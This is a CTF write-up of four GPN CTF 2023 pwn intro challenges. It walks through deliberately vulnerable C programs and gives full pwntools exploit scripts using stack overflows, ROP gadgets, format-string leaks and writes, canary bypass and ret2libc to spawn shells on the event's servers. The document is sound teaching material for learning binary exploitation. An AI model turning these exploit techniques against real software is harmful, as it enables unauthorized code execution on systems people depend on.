GPN CTF 2023 - Pwn Intro Walkthrough
CTFtime url of this event: here.
Our final placement was 19th out of 442 teams.
In this post we provide solutions to the pwn intro challenges, with a level of detail that is suitable for who is learning binary exploitation.
Overflow in the fl4gtory
Author of Writeup: Shotokhan
Summary: Stack overflow to win function
Description
A pipe in the fl4gtory broke and now everything is overflowing! Can you get to the shutoff()
valve and shut the pipe off?
This is the first challenge in the pwn intro series.
ncat --ssl overflow-in-the-fl4gtory-0.chals.kitctf.de 1337
Exploit
This is an intro challenge, source code is provided:
#include <stdio.h>
#include <stdlib.h>
// gcc -no-pie -fno-stack-protector -o overflow-in-the-fl4gtory overflow-in-the-fl4gtory.c
void shutoff() {
printf("Pipe shut off!\n");
printf("Congrats! You've solved (or exploited) the overflow! Get your flag:\n");
execve("/bin/sh", NULL, NULL);
}
int main() {
char buf[0xff];
gets(buf);
puts(buf);
return 0;
}
Trying to run the binary gives error for mismatched GLIBC version, so it was necessary to download the right one (2.34) and use the patchelf utility:
$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 --add-needed ./libc.so.6 ./overflow-in-the-fl4gtory --output ./patchelf-overflow-in-the-fl4gtory
To exploit it, we only have to provide an input that doesn’t contain newlines (because a newline make the gets
function stop the reading of input) and that’s long enough to fill the buf
variable and overflow the stack. The overflow will overwrite the saved EBP first, then the return address of the main
function. With the file
command we can see that the binary’s architecture is x64
, so after 256 bytes of the buf
variable (it’s possible to confirm that it’s exactly 256 bytes by looking at the assembly code), there will be 8 bytes of the saved EBP, and then the return address. Therefore, the offset to the return addres is 264. At this point, we have to fill 264 bytes, and then append the address of the shutoff
function, in little endian.
That’s the run of the exploit:
$ python script.py
[*] 'patchelf-overflow-in-the-fl4gtory'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[+] Opening connection to overflow-in-the-fl4gtory-0.chals.kitctf.de on port 1337: Done
[*] Switching to interactive mode
...
Pipe shut off!
Congrats! You've solved (or exploited) the overflow! Get your flag:
$ ls
flag.txt
overflow-in-the-fl4gtory
$ cat flag.txt
GPNCTF{M0re_0verf0ws_ar3_c0ming_:O}
And that’s the script (note the SSL wrap: pwntools
’s remote
class’ ssl
paramater does not work well):
from pwn import *
import ssl
def main():
local = False
filename = "./overflow-in-the-fl4gtory/patchelf-overflow-in-the-fl4gtory"
elf = ELF(filename)
if local:
r = elf.process()
else:
hostname = "overflow-in-the-fl4gtory-0.chals.kitctf.de"
r = remote(hostname, 1337)
ssl_context = ssl.create_default_context()
r.sock = ssl_context.wrap_socket(r.sock, server_hostname=hostname)
padding = 264
payload = b'A' * padding
payload += p64(elf.symbols['shutoff'])
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Overflows keep flowing
Author of Writeup: Shotokhan
Summary: Stack overflow to a win function that requires a parameter
Description
Oh no! Another thing in another system broke, causing more overflows. This time you have to tell shutoff()
what to shut off. Can you save the fl4gtory?
This is the second challenge in the pwn intro series.
ncat --ssl overflows-keep-flowing-0.chals.kitctf.de 1337
Exploit
This is an intro challenge, source code is provided:
#include <stdio.h>
#include <stdlib.h>
// gcc -no-pie -fno-stack-protector -o overflows-keep-flowing overflows-keep-flowing.c
void shutoff(long long int arg1) {
printf("Phew. Another accident prevented. Shutting off %lld\n", arg1);
if (arg1 == 0xdeadbeefd3adc0de) {
execve("/bin/sh", NULL, NULL);
} else {
exit(0);
}
}
int main() {
char buf[0xff];
gets(buf);
puts(buf);
return 0;
}
Very similar to the previous one, except that this time there is a parameter (and there’s no need to patchelf
:D).
By looking at disassembly code, the parameter is taken from RDI register. So we need an intermediate pop rdi; ret
gadget before returning to shutoff
function. We can use the ROPgadget tool to get all gadgets in the binary, then grep one with pop rdi
.
This one:
0x00000000004012b3 : pop rdi ; ret
It’s also necessary to add a “nop” gadget (just ret
), to fix stack alignment and make the exploit architecture-portable. In fact, without this nop gadget, the execve
function, which is imported from libc
, goes in segmentation fault. This “rule” applies also to other libc
functions, like system
.
Execution of the exploit:
$ python script.py
[*] 'overflows-keep-flowing'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to overflows-keep-flowing-0.chals.kitctf.de on port 1337: Done
[*] Switching to interactive mode
...
Phew. Another accident prevented. Shutting off -2401053089060765474
$ ls
flag.txt
overflows-keep-flowing
$ cat flag.txt
GPNCTF{1_h0p3_y0u_d1dn't_actually_bu1ld_a_r0p_cha1n}
Script:
from pwn import *
import ssl
def main():
local = False
filename = "./overflows-keep-flowing/overflows-keep-flowing"
elf = ELF(filename)
if local:
r = elf.process()
else:
hostname = "overflows-keep-flowing-0.chals.kitctf.de"
r = remote(hostname, 1337)
ssl_context = ssl.create_default_context()
r.sock = ssl_context.wrap_socket(r.sock, server_hostname=hostname)
padding = 264
pop_rdi_ret = 0x00000000004012b3
just_ret = 0x000000000040101a
payload = b'A' * padding
payload += p64(pop_rdi_ret)
payload += p64(0xdeadbeefd3adc0de)
payload += p64(just_ret)
payload += p64(elf.symbols['shutoff'])
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
No end in sight
Author of Writeup: Shotokhan
Summary: Format string attack + Stack overflow to broken win function that requires to be fixed
Description
The fl4gtory keeps falling apart! All the flag-making fluid is overflowing and starting to destroy our shells. See if you can save them…
This is the third challenge in the pwn intro series.
ncat --ssl no-end-in-sight-0.chals.kitctf.de 1337
Exploit
This is an intro challenge, source code is provided:
#include <stdio.h>
#include <stdlib.h>
// gcc -no-pie -fno-stack-protector -o no-end-in-sight no-end-in-sight.c
char BINSH[8] = "/bin/sh";
void shutoff() {
execve(&BINSH, NULL, NULL);
}
int main() {
char buf[0xff];
fgets(buf, 0xff, stdin);
BINSH[0] = 0;
printf(buf);
fgets(buf, 0x110, stdin);
return 0;
}
Notice in the code the line containing printf(buf)
, this means that there is an uncontrolled format string, taken from user input: this means that the program is vulnerable to format string attack. Additionally, the second fgets
is vulnerable to buffer overflow.
We have to exploit the format string attack to fix the BINSH
buffer, then the overflow to return to shutoff
.
We need to patchelf
again.
Since we need to find which is the first parameter we control in the format string, we can use a method to quickly find it. The idea is to use cyclic patterns (length 248), with a high-position argument to print (%20$x
):
$ ./patchelf-no-end-in-sight
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaac%20$x
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaac62616164
It was printed 62616164
, which is (by fixing endianness) the string daab
.
By using cyclic_find
in Python, we found that the offset is 112.
By dividing 112 with the number 8, we obtain 14; since we tried 20, we now know that the first argument we control is number 6. Let’s double-check that this reasoning is correct:
$ ./patchelf-no-end-in-sight
AAAA%6$x
AAAA41414141
Yes, it is. At this point we’re ready to use fmtstr_payload
from pwntools. The only hack needed, to avoid doing overkill things to fix just one byte, was a replace on the payload generated by pwntools.
It was like:
%47c%7$n(@@\x00
But it overwrote 4 bytes instead of just one, so we needed the specifier $hhn
; in fmtstr_payload
it’s possible to specify the parameter write_size_max
, but it generated a payload to overwrite 4 bytes one at a time:
%13$hhn%14$hhn%15$hhn%47c%16$hhn)@@\x00*@@\x00+@@\x00(@@\x00
So we did a replacement from the first one to this one:
%47c%8$hhn123456(@@\x00\x00\x00\x00\x00\x00
The 123456
part is just for padding.
Execution of the exploit:
$ python script.py
[*] 'patchelf-no-end-in-sight'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[+] Opening connection to no-end-in-sight-0.chals.kitctf.de on port 1337: Done
b'%47c%8$hhn123456(@@\x00\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
\x0323456(@@$ ls
flag.txt
no-end-in-sight
$ cat flag.txt
GPNCTF{Th4nks_f0r_sav1ng_my_pr3ci0us_/bin/sh}
Script:
from pwn import *
import ssl
def main():
local = False
filename = "./no-end-in-sight/patchelf-no-end-in-sight"
elf = ELF(filename)
if local:
r = elf.process()
else:
hostname = "no-end-in-sight-0.chals.kitctf.de"
r = remote(hostname, 1337)
ssl_context = ssl.create_default_context()
r.sock = ssl_context.wrap_socket(r.sock, server_hostname=hostname)
arg_offset = 6
writes = {elf.symbols['BINSH']: ord('/')}
first_payload = fmtstr_payload(arg_offset - 1, writes)
first_payload = first_payload.replace(b'%7$n', b'%8$hhn123456')
first_payload += b'\x00' * 5
print(first_payload)
r.sendline(first_payload)
padding = 264
second_payload = b'A' * padding
second_payload += p64(elf.symbols['shutoff'])
r.sendline(second_payload)
r.interactive()
if __name__ == "__main__":
main()
Aftermath
Author of Writeup: Shotokhan
Summary: Heappy menu with all protections enabled, but vulnerable to format string and stack overflow
Description
Wait, this was the end? Well then, time to prevent this from happening again. Go on and write some instructions to solve problems like these for your fellow fl4g-producers. Also, have some delicious pie.
This is the fourth and last challenge in the pwn intro series.
ncat --ssl aftermath-0.chals.kitctf.de 1337
Exploit
This is an intro challenge, source code is provided:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -fstack-protector-all -o aftermath aftermath.c
#define MAX_NOTES 10
#define MAX_NOTE_SIZE 0xff
struct Note {
int size;
char* note;
};
struct Note* note_storage[MAX_NOTES];
void error(char* err_msg) {
puts(err_msg);
exit(1);
}
int get_int() {
char buf[8];
unsigned int res = fgets(buf, 8, stdin);
if (res == 0) {
error("invalid int");
}
return atoi(&buf);
}
unsigned int count_notes() {
for (int i = 0; i < MAX_NOTES; i++) {
if (note_storage[i] == NULL) return i;
}
return MAX_NOTES;
}
void add_note() {
unsigned int note_count = count_notes();
if (note_count == MAX_NOTES) {
puts("Max note capacity reached");
return;
}
struct Note* note = (struct Note*) malloc(sizeof(struct Note));
note_storage[note_count] = note;
printf("Size: ");
int size = get_int();
if (abs(size) >= MAX_NOTE_SIZE) {
error("Notes that big are currently not supported!");
} else if (size == 0) {
error("Can't store nothing");
}
char* data = (char*) malloc(abs(size));
printf("Note: ");
fgets(data, abs(size), stdin);
note->size = size;
note->note = data;
puts("Note added!");
}
void read_note() {
printf("Index: ");
unsigned int index = get_int();
unsigned int count = count_notes();
if (index < count) {
struct Note* cnote = note_storage[index];
printf("Note: ");
printf(cnote->note);
} else {
error("Note does not exist!");
}
}
void edit_note() {
char edit_buf[MAX_NOTE_SIZE];
printf("Index: ");
unsigned int index = get_int();
unsigned int count = count_notes();
if (index < count) {
struct Note* cnote = note_storage[index];
printf("New Note: ");
read(0, edit_buf, cnote->size);
strncpy(cnote->note, edit_buf, abs(cnote->size));
} else {
error("Note does not exist!");
}
}
void menu() {
puts("1. Add note");
puts("2. Read note");
puts("3. Edit note");
puts("4. Exit");
printf("> ");
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
puts("******** Insane note book app trust me ********");
while (1) {
menu();
unsigned int choice = get_int();
if (choice == 1) {
add_note();
} else if (choice == 2) {
read_note();
} else if (choice == 3) {
edit_note();
} else if (choice == 4) {
return 0;
} else {
error("invalid choice");
}
}
}
This is a note-taking binary application, i.e., a heappy menu.
We have 3 heappy endpoints (the exit is not “heappy” because it just returns, without calling free
): add
, read
, edit
:
- The
add
endpoint callsmalloc
to allocate aNote
object (see the structure from the code), checking that the number of already allocated notes doesn’t exceed 10, and taking in input thesize
of the note and up toabs(size) - 1
bytes (after checking thatsize
doesn’t exceed 254). Thesize
variable is stored as signed integer even though it should be unsigned, this could be interesting. - The
read
endpoint takes as input the index of the note to read, checks that it exists, and prints the note by usingprintf(cnote->note)
: it is vulnerable to format string attack. - The
edit
endpoint takes as input the index of the note to edit, checks that it exists, and first takes the new note data in a stack buffer reading up tocnote->size
bytes, then copies in the heap object up toabs(cnote->size) - 1
bytes.
Let’s check the protections of the binary, using checksec tool:
checksec aftermath
[*] 'aftermath'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
It has all protections enabled.
Before starting to reason about how to exploit it, we need to know which version of GLIBC it uses.
To find out, we can for example build the docker container, run ldd
on the binary and then execute the library highlighted by ldd
. We also have the libc.so.6
file.
So, we find out that the library version is 2.36. From glibc 2.34 and later, the hooks (__free_hook
, __malloc_hook
and so on) were removed, so we can’t rely on them to get the RCE.
Anyway, we got a format string attack, which means arbitrary R/W access to memory, with the possibility of getting leaks on the stack. So, we can look for a one-gadget RCE in the provided library, then we will need a libc leak using the format string attack to compute its address. Additionally, we will need a stack leak, to compute the return address of main
function. Last, we will use one or more format string attacks to overwrite the return address of main
(without touching the canary at all!), and then we will call the exit
endpoint to make the program return to the one gadget.
The output of the tool one_gadget
is:
0x4e1d0 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbx == NULL || (u16)[rbx] == NULL
0x10619a posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x48], 0, rsp+0x70, [rsp+0xf0])
constraints:
[rsp+0x70] == NULL
[[rsp+0xf0]] == NULL || [rsp+0xf0] == NULL
[rsp+0x48] == NULL || (s32)[[rsp+0x48]+0x4] <= 0
0x1061a2 posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x48], 0, rsp+0x70, r9)
constraints:
[rsp+0x70] == NULL
[r9] == NULL || r9 == NULL
[rsp+0x48] == NULL || (s32)[[rsp+0x48]+0x4] <= 0
0x1061a7 posix_spawn(rsp+0x64, "/bin/sh", rdx, 0, rsp+0x70, r9)
constraints:
[rsp+0x70] == NULL
[r9] == NULL || r9 == NULL
rdx == NULL || (s32)[rdx+0x4] <= 0
While interacting with the binary, I actually notice that we can’t use format string for writing, because the format string itself is not in stack, but on the heap. We can only use it to get leaks.
On the other hand, the edit
endpoint is vulnerable to buffer overflow, thanks to the fact that the size
parameter is stored as a signed integer and used as unsigned, sometimes with abs
and other times without abs
. In particular, the buffer overflow is on the stack, so we’ll need a canary leak. We can use the format string attack to get a canary leak. Additionally, as previously said, we’ll use the format string attack to get a libc leak, to compute the address of the one gadget (or in general to build a ROP chain, if we’re not able to satisfy the constraints). Then, we’ll use the buffer overflow on the edit
function to trigger the ROP chain.
Let’s look for the offsets for the canary leak and for the libc leak.
First of all, in a debug session we can get the value of the canary like this:
(gdb) i r $fs_base
fs_base 0x7fb0dc881740 140397590878016
(gdb) x/8xb 0x7fb0dc881740 + 0x28
0x7fb0dc881768: 0x00 0x1f 0x67 0x1a 0xd2 0x48 0x94 0x94
We do like this because from the disassembly we read that the canary value is read from %fs:0x28
.
Then, we create a note of size 254 with a format string "%p" * 126
; we read it and get the following output:
0x7ffffb5a0550(nil)(nil)0x1999999999999999(nil)(nil)0x1000000000x5641fca942a00x949448d21a671f000x7ffffb5a26b00x5641fb1787780x2000000000x949448d21a671f000x10x7fb0dc8a75100x7ffffb5a27b00x5641fb1786dc0x1fb1770400x7ffffb5a27c80x7ffffb5a27c80x678b8adb1c2eaa78(nil)0x7ffffb5a27d8(nil)0x7fb0dcac10200x98747c6f51acaa780x98ea33cff5a4aa78(nil)(nil)(nil)(nil)0x7ffffb5a27c80x949448d21a671f00(nil)0x7fb0dc8a75c90x5641fb1786dc0x7fff000000000x7fb0dcac22e0(nil)(nil)0x5641fb1781800x7ffffb5a27c0(nil)(nil)0x5641fb1781ae0x7ffffb5a27b80x380x10x7ffffb5a367e(nil)0x7ffffb5a36930x7ffffb5a36b40x7ffffb5a36c40x7ffffb5a37120x7ffffb5a37260x7ffffb5a373d0x7ffffb5a37540x7ffffb5a37620x7ffffb5a37720x7ffffb5a377c0x7ffffb5a37930x7ffffb5a37bc0x7ffffb5a37d00x7ffffb5a37e60x7ffffb5a37f90x7ffffb5a380e0x7ffffb5a38690x7ffffb5a38830x7ffffb5a38980x7ffffb5a38ad0x7ffffb5a38cc0x7ffffb5a38e40x7ffffb5a38fa0x7ffffb5a39230x7ffffb5a393b0x7ffffb5a39480x7ffffb5a395d0x7ffffb5a39750x7ffffb5a398b0x7ffffb5a39be0x7ffffb5a39cf0x7ffffb5a3fc40x7ffffb5a3fde0x7ffffb5a40220x7ffffb5a40330x7ffffb5a40600x7ffffb5a40b60x7ffffb5a40cd0x7ffffb5a40ee0x7ffffb5a414f0x7ffffb5a41660x7ffffb5a417a0x7ffffb5a419d0x7ffffb5a41af0x7ffffb5a41ce0x7ffffb5a42000x7ffffb5a420f0x7ffffb5a421a0x7ffffb5a42220x7ffffb5a423a0x7ffffb5a424b0x7ffffb5a426e0x7ffffb5a428d0x7ffffb5a429b0x7ffffb5a42ad0x7ffffb5a42c60x7ffffb5a42d30x7ffffb5a43540x7ffffb5a46330x7ffffb5a46af0x7ffffb5a46c00x7ffffb5a46f60x7ffffb5a47180x7ffffb5a474d0x7ffffb5a47730x7ffffb5a49f80x7ffffb5a4a8b0x7ffffb5a4abc0x7ffffb5a4b330x7ffffb5a4f780x7ffffb5a4fcc(nil)0x210x7ffffb5ee0000x100xbfebfbff
We assign it to a variable s
in a Python prompt, and obtain a list of pointers like this:
>>> l = s.replace('(nil)', '0x0').split('0x')
>>> l
['', '7ffffb5a0550', '0', '0', '1999999999999999', '0', '0', '100000000', '5641fca942a0', '949448d21a671f00', '7ffffb5a26b0', '5641fb178778', '200000000', '949448d21a671f00', '1', '7fb0dc8a7510', '7ffffb5a27b0', '5641fb1786dc', '1fb177040', '7ffffb5a27c8', '7ffffb5a27c8', '678b8adb1c2eaa78', '0', '7ffffb5a27d8', '0', '7fb0dcac1020', '98747c6f51acaa78', '98ea33cff5a4aa78', '0', '0', '0', '0', '7ffffb5a27c8', '949448d21a671f00', '0', '7fb0dc8a75c9', '5641fb1786dc', '7fff00000000', '7fb0dcac22e0', '0', '0', '5641fb178180', '7ffffb5a27c0', '0', '0', '5641fb1781ae', '7ffffb5a27b8', '38', '1', '7ffffb5a367e', '0', '7ffffb5a3693', '7ffffb5a36b4', '7ffffb5a36c4', '7ffffb5a3712', '7ffffb5a3726', '7ffffb5a373d', '7ffffb5a3754', '7ffffb5a3762', '7ffffb5a3772', '7ffffb5a377c', '7ffffb5a3793', '7ffffb5a37bc', '7ffffb5a37d0', '7ffffb5a37e6', '7ffffb5a37f9', '7ffffb5a380e', '7ffffb5a3869', '7ffffb5a3883', '7ffffb5a3898', '7ffffb5a38ad', '7ffffb5a38cc', '7ffffb5a38e4', '7ffffb5a38fa', '7ffffb5a3923', '7ffffb5a393b', '7ffffb5a3948', '7ffffb5a395d', '7ffffb5a3975', '7ffffb5a398b', '7ffffb5a39be', '7ffffb5a39cf', '7ffffb5a3fc4', '7ffffb5a3fde', '7ffffb5a4022', '7ffffb5a4033', '7ffffb5a4060', '7ffffb5a40b6', '7ffffb5a40cd', '7ffffb5a40ee', '7ffffb5a414f', '7ffffb5a4166', '7ffffb5a417a', '7ffffb5a419d', '7ffffb5a41af', '7ffffb5a41ce', '7ffffb5a4200', '7ffffb5a420f', '7ffffb5a421a', '7ffffb5a4222', '7ffffb5a423a', '7ffffb5a424b', '7ffffb5a426e', '7ffffb5a428d', '7ffffb5a429b', '7ffffb5a42ad', '7ffffb5a42c6', '7ffffb5a42d3', '7ffffb5a4354', '7ffffb5a4633', '7ffffb5a46af', '7ffffb5a46c0', '7ffffb5a46f6', '7ffffb5a4718', '7ffffb5a474d', '7ffffb5a4773', '7ffffb5a49f8', '7ffffb5a4a8b', '7ffffb5a4abc', '7ffffb5a4b33', '7ffffb5a4f78', '7ffffb5a4fcc', '0', '21', '7ffffb5ee000', '10', 'bfebfbff']
In gdb, it’s also useful to see the mappings of the process, to understand what each address is. It can be done with info proc mappings
.
For example, 7fb0dc8a7510
is a libc leak. In particular, it is __libc_start_main - 0x30
. So we have to subtract 0x23510
to this leak to obtain the libc base.
In the Python prompt:
>>> l.index('7fb0dc8a7510')
15
We know now the argument number. We can verify this by interacting with the binary:
1. Add note
2. Read note
3. Edit note
4. Exit
> 1
Size: 10
Note: %15$p
Note added!
1. Add note
2. Read note
3. Edit note
4. Exit
> 2
Index: 1
Note: 0x7fb0dc8a7510
1. Add note
2. Read note
3. Edit note
4. Exit
The canary is in the list multiple times, and it is printed in reverse order: 949448d21a671f00
. We can get the index of the first occurrence like this:
>>> l.index('949448d21a671f00')
9
And we can verify the argument number again:
1. Add note
2. Read note
3. Edit note
4. Exit
> 1
Size: 10
Note: %9$p
Note added!
1. Add note
2. Read note
3. Edit note
4. Exit
> 2
Index: 2
Note: 0x949448d21a671f00
1. Add note
2. Read note
3. Edit note
4. Exit
Now we can put a breakpoint on the ret
instruction of the edit_note
function, to check the constraints of the one gadgets, before trying the overflow. We’re going to edit the first note, which has a bigger size, and perform the edit with a cyclic pattern, to see if we have direct control of some constraints (otherwise it can still be controlled with a ROP chain).
We have two out of three constraints satisfied for the fourth gadget:
0x1061a7 posix_spawn(rsp+0x64, "/bin/sh", rdx, 0, rsp+0x70, r9)
constraints:
[rsp+0x70] == NULL
[r9] == NULL || r9 == NULL
rdx == NULL || (s32)[rdx+0x4] <= 0
Because from i r
in gdb we can see that both r9
and rdx
registers are null; about the other constraint, by inspecting the stack we see:
(gdb) x/6xg $rsp + 0x70
0x7ffffb5a2708: 0x00007fb0dcac1020 0x98747c6f51acaa78
0x7ffffb5a2718: 0x98ea33cff5a4aa78 0x0000000000000000
0x7ffffb5a2728: 0x0000000000000000 0x0000000000000000
So we can build a ROP chain with at least 3 nop gadgets (with just ret
) to satisfy the constraint. We will first try with 3 gadgets, if it doesn’t work for alignment problems, we will use 4 gadgets; after these nop gadgets, there will be the one gadget located at offset 0x1061a7
w.r.t. libc base.
We can find the mentioned gadget using the ROPgadget
tool, shipped with pwntools. Remember that we have to run it on libc.so.6
, not on the target binary, otherwise we would need a PIE leak too. The one we are looking for is:
0x00000000000233d1 : ret
Let’s check for the existence of the buffer overflow, without the debugger, just to be sure:
$ ./patchelf-aftermath
******** Insane note book app trust me ********
1. Add note
2. Read note
3. Edit note
4. Exit
> 1
Size: -254
Note: aaaa
Note added!
1. Add note
2. Read note
3. Edit note
4. Exit
> 3
Index: 0
New Note: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
*** stack smashing detected ***: terminated
Okay, perfect.
We need to find the offset to the canary, which will give us the offset to the return address as well.
To find it, we interact in the same way we just did, but with the debugger running and by setting a breakpoint on the following instruction within the edit_note
function:
<+245>: sub %fs:0x28,%rax
When we hit the breakpoint, we check the value of the RAX
register, which should contain the canary value.
Instead, it contains the following value: 0x6261616161616169
. We can obtain the offset from this in Python:
>>> cyclic_find(bytes.fromhex('6261616161616169')[::-1], n=8)
264
So: the canary is at offset 264, the saved RBP at offset 272, the return address at offset 280.
Now we only have to automate the interactions.
The exploit does not work: maybe the one_gadget
used is not well suited for this situation. So we’re going to do a classic ret2libc
:
POP RDI; RET | Address of /bin/sh | Address of system | Address of exit
We’re going to make pwntools find these addresses for us, except for the pop rdi
gadget, that we find from the previously scraped gadgets:
0x0000000000023b65 : pop rdi ; ret
We need to also add a nop gadget before returning to system, otherwise we got segmentation fault.
Execution of the exploit:
$ python script.py
[*] 'patchelf-aftermath'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] 'libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to aftermath-0.chals.kitctf.de on port 1337: Done
bof_payload = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00z\xe6wt\xefs\x18BBBBBBBBe\xfb\xa3~\xe5\x7f\x00\x00\xb4!\xbd~\xe5\x7f\x00\x00\xd1\xf3\xa3~\xe5\x7f\x00\x00 \xa5\xa6~\xe5\x7f\x00\x00\x00\xa6\xa5~\xe5\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
aftermath
flag.txt
$ cat flag.txt
GPNCTF{S0_many_n0t3s_ar3_music_t0_my_3ars}
Script:
from pwn import *
import ssl
import os
def get_menu(r):
r.recvuntil('> ')
def get_input_prompt(r):
r.recvuntil(': ')
def add_note(r, size, data):
get_menu(r)
r.sendline("1")
get_input_prompt(r)
r.sendline(str(size))
get_input_prompt(r)
r.sendline(data)
def read_note(r, index):
get_menu(r)
r.sendline("2")
get_input_prompt(r)
r.sendline(str(index))
output = r.recvline().decode(errors='replace').split(': ')[1].strip()
return output
def edit_note(r, index, data):
get_menu(r)
r.sendline("3")
get_input_prompt(r)
r.sendline(str(index))
get_input_prompt(r)
r.sendline(data)
def main():
local = False
os.chdir('./aftermath')
filename = "./patchelf-aftermath"
elf = ELF(filename)
libc = ELF("./libc.so.6")
if local:
# r = remote('127.0.0.1', 1337)
r = elf.process()
else:
hostname = "aftermath-0.chals.kitctf.de"
r = remote(hostname, 1337)
ssl_context = ssl.create_default_context()
r.sock = ssl_context.wrap_socket(r.sock, server_hostname=hostname)
add_note(r, 20, "%9$p %15$p")
leaks = read_note(r, 0)
canary_leak, libc_leak = (int(leak, 16) for leak in leaks.split())
libc_base = libc_leak - 0x23510
pop_rdi_ret = libc_base + 0x23b65
bin_sh_addr = libc_base + [i for i in libc.search(b'/bin/sh\x00')][0]
nop_gadget = libc_base + 0x233d1
system_addr = libc_base + libc.symbols['system']
exit_addr = libc_base + libc.symbols['exit']
offset_to_canary = 264
bof_payload = b'A' * offset_to_canary
bof_payload += p64(canary_leak)
bof_payload += b'B' * 8
bof_payload += p64(pop_rdi_ret)
bof_payload += p64(bin_sh_addr)
bof_payload += p64(nop_gadget)
bof_payload += p64(system_addr)
bof_payload += p64(exit_addr)
print(f"{bof_payload = }")
add_note(r, -254, "lol")
edit_note(r, 1, bof_payload)
r.interactive()
if __name__ == "__main__":
main()